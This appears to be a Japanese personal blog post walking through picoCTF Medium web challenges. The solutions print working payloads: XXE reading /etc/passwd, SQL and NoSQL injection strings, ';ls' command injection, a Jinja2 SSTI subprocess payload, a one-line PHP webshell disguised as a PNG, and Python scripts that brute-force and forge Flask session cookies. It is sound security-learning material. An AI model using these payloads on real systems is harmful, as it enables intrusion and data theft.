日々のいろいろ

【picoCTF】WebのMedium問題に挑戦しました

投稿日: 7/6/2025

前回のEasy問題に続き、今回はMedium問題に挑戦しました。

全問題に手を付けるには1か月くらいかかる見通しのため、段階的に追記していく予定です。

※評価が80%未満の問題については...解くか迷ってます。

SOAP

問題

The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?

SOAPに関する問題ですね。
JSONの前に使われていたWebのデータフォーマット、という認識です。

3つのコンテンツが表示されており、「Details」を押下するとPOSTリクエストが送信されているようです。

画像

ネットワークタブで確認できる、POSTリクエストの内容です。
ペイロードがXML(SOAP)であることが確認できます。

画像
画像

このペイロード内に、

/etc/passwd
の内容を表示するように仕込んでみます。
いわゆるXXE(XML External Entity)攻撃ですね。

下記をペイロードとしてcurlコマンドを用いてPOSTリクエストしてみます。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data><ID>&xxe;</ID></data>
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><data><ID>&xxe;</ID></data>' http://saturn.picoctf.net:51166/data

フラグゲットです。

画像

More SQLi

問題

Can you find the flag on this website.

ログインフォームが表示されます。

画像

とりあえず適当な値でログインしてみると、ご丁寧に発行されるSQLクエリを表示してくれました。

画像

where句での条件マッチングはパスワードのほうが先のようですので、パスワードを

' or 1=1 --
にして再度ログインをすると、認証が成功して画面遷移します。

画像

とりあえず正規のログイン情報を探すには、次はCityの入力フォームからSQLiができそうです。
ログイン情報はusersテーブルにあることが先ほど判明したので、

' union all select * from users --
を入力してOfficeのテーブルにunionでusersテーブルの内容もくっつけてみます。

ユーザー情報が1件表示されました。adminの情報らしいです。

画像

ここで、usernameが「admin」、passwordが「moreRandOMN3ss」であることを予測してログインしてみますが、失敗します。
先ほどのusersの情報が、どのカラムなのかを特定する必要がありそうです。

' union all select * from username ="admin" users --
を試すと、なぜかサーバー側からエラーが返されました。
たとえ結果が0であっても、エラーにはならないはずです。
一方、
' union all select * from password ="moreRandOMN3ss" users --
で検索すると正常にadminの情報が返ってきます。

なにかがおかしい...
カラム情報の取得クエリをインジェクションしてみます。
DBMSによってクエリに違いがありますので、総当たりで試してみる...とはならず、問題のヒントを拝見しました。

SQLiteだそうです。

画像

カラム情報を取得するSQLクエリ

' union all select name, NULL, NULL from pragma_table_info('users') --
を試します。
※NULLをつけるのは、union元のselect結果のカラム数が3つだからです。ここらへんはまあ、1個ずつインクリメントしながら試すしかないです。
' union all select * from users --
で正常にクエリが実行できたのは、偶然union元の結果カラム数とusersテーブルのカラム数が一致していたらからですね。

結果は「name」, 「password」, 「id」の3つでした。

画像

ここで冒頭のログイン失敗時に表示されるクエリの「username」なんてカラムは存在しないがために、

' union all select * from username ="admin" users --
がエラーになっていることがわかりました。

さて、usernameがwhere句で評価されてはエラーになってしまうので、なんとかしてバイパスする方法を考えます。
※先にpasswordが評価されるのは、上述のひっかけが理由だったんですねぇ...

moreRandOMN3ss' and name='admin' --;
をパスワードに指定して実行してみるとログインに成功しました。

しかし、フラグは表示されませんでした。
(後でわかりますが、正規のログイン情報は特定する必要なかったようです...)

とあれば、ほかのテーブルにフラグが存在している可能性があるため、データベースのテーブルの一覧を取得する以下のクエリを試します。

' UNION SELECT name, null, null FROM sqlite_master WHERE type='table'--

全部で4つのテーブルが存在していることがわかります。

画像

mote_tableが怪しいので、カラム情報を取得します。

' union all select name, NULL, NULL from pragma_table_info('more_table') --

flagカラムを発見。

画像

' union select id, flag, null from more_table --
でフラグがゲットできました。

画像

SQL Direct

問題

Connect to this PostgreSQL server and find the flag! psql -h saturn.picoctf.net -p 64531 -U postgres pico Password is postgres

Postgresqlにログインしてフラグを見つけるタイプの問題のようです。

WSL上からDockerでPostgresqlのイメージ(バージョンは最新)を起動します。

docker run -d \ --name postgres-container \ -e POSTGRES_HOST_AUTH_METHOD=trust \ -p 5432:5432 \ postgres:latest

※パスワードなしでも起動できるようにしてます。

起動したコンテナにアタッチして、指定のサーバにログインします。

画像

\l
コマンドでデータベース一覧を取得すると、picoという怪しいデータベースがあります。

画像

\c pico
でデータベースに接続し、
\dt
で取得したflagsというテーブルに対してselectを投げればフラグを取得できます。

画像

※postgresというユーザーだと、スーパーユーザーではありますがpicoデータベースに接続できる権限がないのでGRANTで権限を付与する必要があります。

caas

問題

Now presenting cowsay as a service

index.jsというソースも配布されてます。
サーバーサイド側の処理ですね。

画像

{message}部分に、任意の文字列を指定してリクエストすると、

/usr/games/cowsay
コマンドの引数として実行されて、アスキーアートになるという流れです。

画像
画像

ユーザーの指定データをそのまま引数として使っているので、任意のコマンドが実行できそうです。

https://caas.mars.picoctf.net/cowsay/hello;ls
でリクエストしてみます。
「;」を入れることで、cowsayコマンドとは別に、新たに「ls」コマンドを実行することが可能です。

画像

falg.txtが確認できます。
※ファイル名はタイポでしょうか...

catコマンドで出力します。
なお、半角スペースが含まれているリクエストは正常に処理されないので、URLエンコードします。
半角スペース→%20

画像

フラグがゲットできました。

login

問題

My dog-sitter's brother made this website but I can't get in; can you help? login.mars.picoctf.net

ログインフォームが表示されます。

画像

また、香ばしいJSファイルを発見しました。

画像

btoa()やatob()を使っているので、Base64が絡みそうです。

画像
画像

それぞれCyberChefにてBase64デコードしていたら、フラグが見つかりました。

Java Code Analysis!?!

問題

Description BookShelf Pico, my premium online book-reading service. I believe that my website is super secure. I challenge you to prove me wrong by reading the 'Flag' book! Here are the credentials to get you started: Username: "user" Password: "user" Source code can be downloaded here. Website can be accessed here!.

初めて遭遇するJavaのWebアプリの問題です。
ソースも配布してます。

設問のログイン情報でログインしてみます。

画像
画像
画像

Freeというロールのユーザーでログインしているようです。

この記事は、Adminロールでないと閲覧できようですので、ロールの変更が必要なようです。

画像

さて、ソースコードを見てみます。
Gradleプロジェクトのようです。

ちょっと話題は逸れますが、すごく理想的なディレクトリ構成だと思います。
MVCのデザインパターンとして、とても参考になりますね。

画像
画像

認証・認可にはSpring Securityを使用しているようですね。
しかし、ちゃんとライブラリを使っているのであれば実装上の脆弱性が問題ではないと推測されます。

JWTトークンを発行しているらしいので、ブラウザで確認してみたところ、ローカルストレージにトークンとペイロードが格納されていました。

画像

token-payloadを書き換えてみたりしたものの、やはりトークン自体も改ざんする必要がありそうなのでソースコード側を調査する必要があります。

JWT用のサービスクラスにて、トークンを生成している処理と、その呼び出し元を発見しました。
また、ロールについては、リポジトリ層でusernameにより決定しているようです。

画像
画像
画像

SECRET_KEYの生成している処理を確認してみると、なんと「1234」という固定値を使っていることがわかりました。

画像

data.sqlにて、ロールに関するデータを発見しました。

画像

usernameでどのロールが付与されるかを決定しているので、やはりユーザー情報をデータベースから確認する必要がありそうです。

テストクラスが存在していたので、使わせていただきます。

全ユーザーを取得する処理をデバッグ実行したところ、2つのデータが存在していました。

画像
画像

ブラウザで確認したのは、一般ユーザーのトークンです。
なので、管理者トークンもテストクラスで作成してしまいましょう。

元のメソッドを呼び出すにはコンストラクタ等の設定が面倒くさいので、コードをコピペしました。
必要なデータをセットして、トークンを出力してみます。

画像

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiQWRtaW4iLCJpc3MiOiJib29rc2hlbGYiLCJleHAiOjE3NTI0MTUzMDcsImlhdCI6MTc1MTgxMDUwNywidXNlcklkIjoyLCJlbWFpbCI6ImFkbWluIn0.s7pFbfMl_3iE1rxP_miGkYtI34HtEBoZTBg77s4z-vw
というトークンが生成されました。

画像

早速、ブラウザでセットしてみます。
トークンだけでなく、ペイロードも改ざんします。

画像

リロードすると...

画像
画像

Adminロールに変更できて、記事も閲覧(フラグもゲット)できました。

しかし、テストコードの実行にもJDKが必要がだったり、環境の再現のハードルが高い気がします。
Javaの実行環境がなくてもフラグをゲットする方法があるのでしょうか...。

他の方のWrite Upも確認してみます。

3v@l

問題

ABC Bank's website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank's calculator and read the flag?

画像

金額を入れると、サーバー側でevalを使って結果を返してくれるwebアプリのようです。

ページ内に、PythonのFWであるFlaskを使った、バリデーションチェックの内容の記載があります。

画像

1, 2のチェックをバイパスする方法が思いつかず、ギブアップ。

解答

参考:https://mh4ck3r0n3.github.io/posts/2025/03/17/3v@l/#-flag-capture
   https://qiita.com/kotenpan7255/items/0a6661d837d5bdcca66b#medium-3vl---200pts

以下のPythonのビルトイン関数で、文字コード変換を使ってバイパスするそうです。

chr()関数
引数に、Unicodeコードポイント(整数型)を取り、対応する文字を返す
ord()関数
 引数に、文字型の引数を取り、対応するUnicodeのコードポイントを返す

ヒントより、フラグは「/flag.txt」という場所にあるので、

open(/flag.txt).read()
とすることで内容を出力できそうです。

記号「/」「.」のコードポイントを取得しました。

画像

それぞれをchr関数の引数として指定します。

open(chr(47) + "flag" + chr(46) + "txt").read()

上記をサブミットするとフラグが表示されます。

SSTI2

問題

I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)

計算などの簡易的なテンプレートインジェクションを試したところ、Jinja2であることがわかりました。

画像

{{ config }}
を注入すると、設定値は出力できますが、フラグに関する情報が見つかりません。
他のクラス情報等の処理をインジェクションしても、サーバーエラーか、エラー用のページが返されます。

また文字コードの変換を使うのかな?と思いながらギブアップ。

解答

参考:https://qiita.com/kotenpan7255/items/0a6661d837d5bdcca66b#medium-ssti2---200pts

os.popen() import('os') requestの代わりにsubprocess.Popenというのが使えるようです。

名前を指定して実行するのではなく、クラスのリストのインデックスを特定して実行するようです。

{{().__class__.__base__.__subclasses__().__getitem__(index番号) }}

どうやってインデックス番号を特定するかはわかりませんが、下記のペイロードそのままではブラックリストに引っかかるので変換します。

{{().__class__.__base__.__subclasses__().__getitem__(index番号)('cat flag',shell=True,stdout=-1).communicate()}}

参考では16進数でエスケープすることでバイパス・フラグを出力できていました。。
他の文字コードで試したところ、Unicodeでも成功しました。

しかし、chr関数を使ったアスキーコード変換ではサーバーエラーが出ました。

Trickster

問題

I found a web app that can help process images: PNG images only! Try it here!

画像ファイルのアップローダーが設置されています。

拡張子は「.png」のみ許されているようです。

画像

PHPのwebshellを、.pngファイルとしてアップロードするも、サーバーサイドのバリデーションチェックに引っかかるようです。

フォーム画面の属性のうち、enctypeとacceptを削除して、.png形式のwebshellをアップロードしたところ、エラーと警告が表示されました。

画像
画像

PNGファイルのマジックバイトなども考慮し、webshellを偽造したファイルのアップロードも試みましたが、アップロードはできても実行まではできませんでした。

ギブアップ。

解答

参考:https://brandon-t-elliott.github.io/trickster

ファイルに含まれるべきマジックバイトが16進数バイト表記なので、CyberChefで変換すると、PNGのようなデータになります。

画像

これを「.png.php」のファイルとしてダウンロードします。
(ファイル出力機能を初めて知りました)

マジックバイトが含まれたファイルに、PHPのコード

<?=`$_GET[0]`?>
を追記します。

画像

ファイルは正常にアップロードできるので、

/uploads/exp.png.php?0=pwd
にアクセスします。

画像

/var/www/html/
の一覧に、怪しいテキストファイルがあるので、出力するとフラグを取得できました。

画像
画像

No Sql Injection

問題

Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?

Expressを使ったWebアプリのソースコードも配布されています。

一般的なログインフォームです。

画像

ソースコードを読むと、最初にユーザーのデータを1つデータベースに保存しています。

画像

メールアドレスはわかりますが、パスワードは乱数です。

下記の処理で、POSTされたemail, passwordを使って認証処理をしているようです。

画像

バイパスなど、方法が思いつかずギブアップ。

解答

参考:https://github.com/noamgariani11/picoCTF-2024-Writeup/blob/main/Web%20Exploitation/No-Sql-Injection.md      https://yujitounai.github.io/WebVulnerabilities/NoSQL%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3.html

emailはソースコードのものを使い、passwordにはMongoDB等のNoSQLインジェクション特有の値

{"$ne":"null"}
を指定するようです。

$ne
はノットイコールなので、
null
以外のすべて、かつ指定メールアドレスのデータがマッチします。

データを返すindex.htmlにて、セッションストレージに格納する旨のコメントがあるので、ログイン成功後のセッションストレージを確認します。

画像

tokenがパスワードに関連しそうです。
Base64形式なのでデコードするとフラグが取得できました。

画像

Most Cookies

問題

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:6259/

Cookieを確認すると, JWTトークンみたいなトークンが格納されていました。

画像

very_auth : blankというペイロードが、Base64デコードでわかりました。

画像

他の部分について、Flaskのセッションについて調べてみます。

参考:https://qiita.com/juno_rmks/items/a707228a0682f529298d

とても良記事でしたね。
検証用のコードの説明までありました。

「.」で3つの

ペイロード.タイムスタンプ.ペイロードとタイムスタンプをsecret_key(秘密鍵)で署名したデータ
という構造になっているようです。

ソースコードにて、秘密鍵は以下の配列から起動時に一回ランダムで選んでいるようです。

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

どの要素を使って検証したか、さきほどのブラウザにて確認したトークンを使って逐次確かめていきます。

Flask実行環境用に作成したDockerコンテナ内で作業しました。
コード自体はClaudeに書いてもらいました。

from flask import Flask import flask.sessions from itsdangerous import BadSignature # 候補となるキーのリスト keys = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] # 検証したいトークン token = 'hoge.huga.piyo' def verify_session_token(token, candidate_keys): """ Flask セッショントークンの署名を検証し、正しいキーを特定する Args: token (str): 検証したいセッショントークン candidate_keys (list): 候補となるキーのリスト Returns: tuple: (成功したキー, デシリアライズされたデータ) または (None, None) """ for key in candidate_keys: try: # テスト用のFlaskアプリケーションを作成 app = Flask(__name__) app.secret_key = key # セッションインターフェースを取得 session_interface = flask.sessions.SecureCookieSessionInterface() # シリアライザーを取得 serializer = session_interface.get_signing_serializer(app) # トークンをデシリアライズして署名を検証 data = serializer.loads(token) print(f"✓ 成功: キー '{key}' でトークンの署名が検証されました") print(f" デシリアライズされたデータ: {data}") return key, data except BadSignature: print(f"✗ 失敗: キー '{key}' では署名が一致しません") continue except Exception as e: print(f"✗ エラー: キー '{key}' で例外が発生: {e}") continue print("すべてのキーで署名の検証に失敗しました") return None, None def main(): print("Flask セッション署名検証を開始します...") print(f"検証対象トークン: {token}") print(f"候補キー数: {len(keys)}") print("-" * 60) # 署名検証を実行 correct_key, session_data = verify_session_token(token, keys) print("-" * 60) if correct_key: print(f"結果: 正しいキーは '{correct_key}' です") print(f"セッションデータ: {session_data}") # 追加情報の表示 if isinstance(session_data, dict) and 'token' in session_data: print(f"トークン値: {session_data['token']}") else: print("結果: 正しいキーが見つかりませんでした") if __name__ == '__main__': main()

これで、どの秘密鍵を使っているかがわかりました。

さて、フラグの場所ですが、ソースコードの以下の部分に記述されています。

very_authの値が

admin
の場合
flag.html
を返すようです。

画像

つまり、

{"very_auth":"blank"}
{"very_auth":"admin"}
として、さきほど特定した秘密鍵で署名してトークンを生成すればよいということです。

以下のコードでトークンを生成しました。

from flask import Flask import flask.sessions def create_signed_session(secret_key, session_data): """ 指定されたキーとデータでFlaskセッションを署名する Args: secret_key (str): 署名に使用するシークレットキー session_data (dict): セッションに含めるデータ Returns: str: 署名されたセッショントークン """ # Flaskアプリケーションを作成 app = Flask(__name__) app.secret_key = secret_key # セッションインターフェースを取得 session_interface = flask.sessions.SecureCookieSessionInterface() # シリアライザーを取得 serializer = session_interface.get_signing_serializer(app) # データをシリアライズして署名 signed_token = serializer.dumps(session_data) return signed_token def verify_signed_session(secret_key, signed_token): """ 署名されたセッションを検証する Args: secret_key (str): 署名に使用したシークレットキー signed_token (str): 検証したい署名済みトークン Returns: dict: デシリアライズされたデータ """ app = Flask(__name__) app.secret_key = secret_key session_interface = flask.sessions.SecureCookieSessionInterface() serializer = session_interface.get_signing_serializer(app) return serializer.loads(signed_token) def main(): # 設定 secret_key = 'gingersnap' new_session_data = {'very_auth': 'admin'} print("Flask セッション署名生成") print("=" * 50) print(f"使用するキー: {secret_key}") print(f"セッションデータ: {new_session_data}") print() # 新しいセッションを署名 try: signed_token = create_signed_session(secret_key, new_session_data) print("✓ 新しいセッションの署名に成功しました") print(f"署名済みトークン: {signed_token}") print() # 検証 print("署名検証中...") verified_data = verify_signed_session(secret_key, signed_token) print(f"✓ 検証成功: {verified_data}") except Exception as e: print(f"✗ エラーが発生しました: {e}")

生成されたトークンをブラウザのCookieにセットしてリロードすると、フラグの書かれたページが返されます。


コメント

まだコメントがありません

コメントする
0 / 1500 文字